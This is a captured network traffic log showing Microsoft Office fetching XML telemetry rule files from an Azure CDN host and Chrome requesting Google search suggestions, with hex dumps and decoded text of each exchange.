2024-11-17 09:07:20 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:20 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 191b9440-801e-00a3-5a28-377cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090720Z-164f84587bflm48hhC1DFW0nf800000000v000000000667m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:20 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:20 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:20 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:20 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 7a7e882b-d01e-002b-49aa-3625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090720Z-16547b76f7fjx5nrhC1DFW4dsc000000016g00000000ctmn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 09:07:20 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:20 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:20 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:20 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a8264c91-f01e-0052-7a79-369224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090720Z-164f84587bf6h2bxhC1DFWbcm8000000049g000000004qrf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:20 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:20 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:20 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: fb571e6e-701e-005c-5d91-37bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090720Z-164f84587bfr8hdmhC1DFWt5nc00000002d0000000002a2f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:20 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:21 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:21 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:21 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: de79bc98-401e-0064-1e9b-3754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090721Z-1866b5c5fbbmp4h7hC1DFWxhww00000000n000000000cugu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:21 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:21 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:21 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:21 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 1f260c93-f01e-00aa-587d-378521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090721Z-164f84587bfjxw6fhC1DFWq944000000047g000000006743 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:21 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:22 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:22 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:22 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 4e6a8ad7-601e-000d-69a9-362618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090722Z-16547b76f7fr5rfnhC1DFW0am400000001m0000000004r3m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:22 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:22 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:22 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:22 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 0fe31a08-b01e-001e-2cae-360214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090722Z-16547b76f7fl5zvnhC1DFWtk9g00000002mg000000000kp3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:22 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:22 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:22 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: bdecc517-a01e-0050-3dc0-37db6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090722Z-1866b5c5fbbwlv6nhC1DFWw4bs00000002hg000000005c8a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:22 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	49760	142.250.185.196	443	7248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:22 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 09:07:22 UTC	1266	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:22 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-zVCfsAt73Ac25EfCFTapNQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-17 09:07:22 UTC	112	IN	Data Raw: 31 30 63 37 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 77 61 74 63 68 20 79 65 6c 6c 6f 77 73 74 6f 6e 65 20 73 65 61 73 6f 6e 20 35 22 2c 22 77 69 6e 74 65 72 20 77 65 61 74 68 65 72 20 77 61 72 6e 69 6e 67 73 22 2c 22 67 6f 6f 67 6c 65 20 6d 65 73 73 61 67 65 73 20 73 65 6e 64 69 6e 67 20 61 73 20 70 72 6f 66 69 6c 65 22 2c 22 77 69 73 Data Ascii: 10c7)]}'["",["watch yellowstone season 5","winter weather warnings","google messages sending as profile","wis
2024-11-17 09:07:22 UTC	1378	IN	Data Raw: 63 6f 6e 73 69 6e 20 62 61 64 67 65 72 73 20 62 61 73 6b 65 74 62 61 6c 6c 22 2c 22 73 75 70 65 72 20 6d 69 63 72 6f 20 63 6f 6d 70 75 74 65 72 20 73 74 6f 63 6b 22 2c 22 73 70 61 63 65 78 20 73 74 61 72 73 68 69 70 20 66 6c 69 67 68 74 20 36 22 2c 22 70 6f 77 65 72 62 61 6c 6c 20 77 69 6e 6e 69 6e 67 20 6e 75 6d 62 65 72 73 22 2c 22 6c 6f 73 20 61 6e 67 65 6c 65 73 20 64 6f 64 67 65 72 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 Data Ascii: consin badgers basketball","super micro computer stock","spacex starship flight 6","powerball winning numbers","los angeles dodgers"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcg
2024-11-17 09:07:22 UTC	1378	IN	Data Raw: 30 4e 6d 45 77 51 6e 46 78 56 32 64 50 4d 56 4a 31 65 6e 68 78 4d 57 35 72 52 45 78 52 4d 6c 4a 77 64 33 6f 77 56 46 52 73 52 45 78 42 63 6c 46 7a 51 6a 42 49 59 56 70 42 4b 30 6c 34 52 46 55 32 4d 32 68 6c 63 6e 6c 79 57 44 4d 79 51 6d 35 79 57 56 5a 42 4e 48 64 42 55 6b 68 61 51 31 5a 6c 5a 46 52 61 54 57 6f 30 51 54 6b 33 4e 6a 64 34 53 45 46 49 59 31 68 4a 65 6e 52 71 63 57 74 4e 53 45 5a 4c 59 55 4a 77 64 46 70 74 53 6c 6c 42 53 46 6f 31 59 33 59 34 52 57 39 42 54 6d 74 49 56 46 42 7a 4d 6b 30 77 56 32 39 4f 54 30 6c 47 56 44 56 76 52 6c 5a 4f 4e 30 4e 70 51 55 64 6d 4e 6c 52 45 4d 31 5a 6c 64 31 64 42 64 58 68 7a 57 57 6b 35 4e 30 39 35 56 7a 4e 50 5a 33 68 4f 56 30 68 71 62 33 52 42 54 6e 68 6b 4d 54 4e 36 61 55 56 68 4d 55 64 61 4f 48 68 79 57 56 Data Ascii: 0NmEwQnFxV2dPMVJ1enhxMW5rRExRMlJwd3owVFRsRExBclFzQjBIYVpBK0l4RFU2M2hlcnlyWDMyQm5yWVZBNHdBUkhaQ1ZlZFRaTWo0QTk3Njd4SEFIY1hJenRqcWtNSEZLYUJwdFptSllBSFo1Y3Y4RW9BTmtIVFBzMk0wV29OT0lGVDVvRlZON0NpQUdmNlREM1Zld1dBdXhzWWk5N095VzNPZ3hOV0hqb3RBTnhkMTN6aUVhMUdaOHhyWV
2024-11-17 09:07:22 UTC	1378	IN	Data Raw: 74 69 74 79 69 6e 66 6f 22 3a 22 43 67 67 76 62 53 38 77 4e 47 31 71 62 42 49 4e 51 6d 46 7a 5a 57 4a 68 62 47 77 67 64 47 56 68 62 54 4c 65 44 57 52 68 64 47 45 36 61 57 31 68 5a 32 55 76 63 47 35 6e 4f 32 4a 68 63 32 55 32 4e 43 78 70 56 6b 4a 50 55 6e 63 77 53 30 64 6e 62 30 46 42 51 55 46 4f 55 31 56 6f 52 56 56 6e 51 55 46 42 52 44 52 42 51 55 46 43 51 55 4e 42 54 55 46 42 51 55 49 78 54 6e 70 55 53 45 46 42 51 55 46 75 52 6b 4a 4e 56 6b 56 59 4c 79 38 76 4f 45 46 56 53 6d 4e 42 55 7a 56 56 51 56 49 31 54 55 46 53 57 6b 6c 42 55 44 56 42 51 56 46 77 52 55 46 54 57 6c 46 42 56 48 42 5a 51 55 39 76 4e 45 46 57 63 47 39 42 56 58 42 6e 51 56 5a 4b 62 69 73 35 55 46 46 42 56 30 70 32 4d 79 74 6d 64 6b 67 77 4b 30 77 34 4e 47 56 49 65 6d 56 75 65 6a 56 33 Data 